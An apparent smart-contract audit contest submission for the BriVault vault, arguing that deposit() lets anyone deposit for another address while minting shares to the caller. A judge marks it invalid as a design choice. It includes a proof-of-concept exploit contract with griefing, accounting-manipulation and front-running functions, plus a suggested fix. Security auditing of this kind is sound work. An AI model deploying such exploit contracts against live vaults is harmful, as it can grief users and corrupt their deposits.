BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

Unrestricted Deposit Receiver Parameter

Unrestricted Deposit Receiver Parameter

Description

  • The normal behavior is that users should deposit their own funds and receive shares to their own address, maintaining clear ownership and preventing unauthorized deposits.

  • The issue is that deposit() accepts a receiver parameter allowing anyone to deposit tokens on behalf of any other address without permission, enabling griefing attacks, share manipulation, and forced participation in the tournament.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0)); // @> Only checks non-zero, not msg.sender
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
// ... fee calculation ...
stakedAsset[receiver] = stakeAsset; // @> Funds assigned to receiver
// ... transfers from msg.sender ...
_mint(msg.sender, participantShares); // @> But shares minted to msg.sender!
emit deposited(receiver, stakeAsset);
return participantShares;
}

Risk

Likelihood:

  • Requires attacker to spend real tokens to grief victims, which has a cost

  • More likely in high-value tournaments where manipulation provides strategic advantage

  • Will occur when attackers want to force users into unfavorable positions or manipulate accounting

  • Lower likelihood than pure logic exploits but still easily executable

Impact:

  • Attacker can force unwilling users to participate in the tournament by depositing minimal amounts to their addresses

  • Creates accounting confusion where stakedAsset[receiver] is set but shares go to msg.sender

  • Can be used to grief users by locking their addresses in tournament state

  • Enables complex attacks when combined with other vulnerabilities

  • Does not directly steal funds but creates inconsistent state

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReceiverExploit {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
// EXPLOIT 1: Griefing attack - force user participation
function griefVictim(address victim) external {
// Deposit minimal amount on behalf of victim
asset.approve(address(vault), 100); // 100 wei
vault.deposit(100, victim); // Deposit for victim
// Result:
// - stakedAsset[victim] = ~97 (after 3% fee)
// - victim's address now marked as having deposited
// - victim didn't consent to participate
// - shares minted to attacker (msg.sender)
}
// EXPLOIT 2: Accounting manipulation
function accountingManipulation(address[] memory victims) external {
// Create confusion in stakedAsset mapping
for (uint i = 0; i < victims.length; i++) {
vault.deposit(1, victims[i]);
// stakedAsset[victims[i]] = 1
// But shares go to attacker
}
// Now many addresses show deposits but attacker has all shares
// Creates confusion for joinEvent() checks
}
// EXPLOIT 3: Inconsistent state demonstration
function demonstrateInconsistency() external {
address alice = address(0x1234);
// Attacker deposits for Alice
asset.approve(address(vault), 1000e6);
vault.deposit(1000e6, alice);
// State after:
// stakedAsset[alice] = 970e6 (after fee)
// balanceOf(alice) = 0 shares! ← Shares went to attacker
// balanceOf(attacker) = 970e18 shares
// Alice tries to join event:
// vault.joinEvent(0) by Alice
// ✓ Passes: stakedAsset[alice] != 0
// Gets: participantShares = balanceOf(alice) = 0
// userSharesToCountry[alice][0] = 0 ← Alice has 0 shares!
// Alice joined but has no shares!
// Attacker has shares but may not have joined!
}
// EXPLOIT 4: Front-running user deposits
function frontrunDeposit(address victim, uint256 victimAmount) external {
// Victim submits: deposit(1000 USDC, victim)
// Attacker sees in mempool
// Attacker front-runs with:
vault.deposit(1, victim); // Minimal deposit for victim
// Now stakedAsset[victim] = 1
// Victim's transaction may fail or behave unexpectedly
// depending on how application handles existing deposits
}
}
// Real scenario demonstrating the issue:
contract ScenarioDemo {
BriVault vault;
IERC20 asset;
function demonstrateIssue() external {
// Normal flow (what SHOULD happen):
// Alice calls: vault.deposit(1000 USDC, Alice)
// Result: Alice gets shares, Alice's stakedAsset set
// Broken flow (what ACTUALLY can happen):
// Attacker calls: vault.deposit(1000 USDC, Alice)
// Result:
// - stakedAsset[Alice] = 970 USDC
// - balanceOf(Attacker) = 970 shares
// - balanceOf(Alice) = 0 shares
// Now when Alice calls joinEvent():
// - Check passes: stakedAsset[Alice] = 970 (non-zero)
// - Gets shares: balanceOf(Alice) = 0
// - Sets: userSharesToCountry[Alice][teamId] = 0
// Alice joined with 0 shares!
// Can never withdraw (no shares to redeem)
// Attacker has Alice's shares but didn't join
// THIS IS BROKEN STATE
}
}

Recommended Mitigation

function deposit(uint256 assets, address receiver) public override returns (uint256) {
- require(receiver != address(0));
+ require(receiver == msg.sender, "Can only deposit for yourself");
+ require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares); // Mint to receiver for consistency
emit deposited(receiver, stakeAsset);
return participantShares;
}
+// Or better: remove receiver parameter entirely
+function deposit(uint256 assets) public returns (uint256) {
+ address receiver = msg.sender;
+
+ if (block.timestamp >= eventStartDate) {
+ revert eventStarted();
+ }
+
+ uint256 fee = _getParticipationFee(assets);
+ if (minimumAmount + fee > assets) {
+ revert lowFeeAndAmount();
+ }
+
+ uint256 stakeAsset = assets - fee;
+ stakedAsset[msg.sender] = stakeAsset;
+ uint256 participantShares = _convertToShares(stakeAsset);
+
+ IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
+ IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
+ _mint(msg.sender, participantShares);
+
+ emit deposited(msg.sender, stakeAsset);
+ return participantShares;
+}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!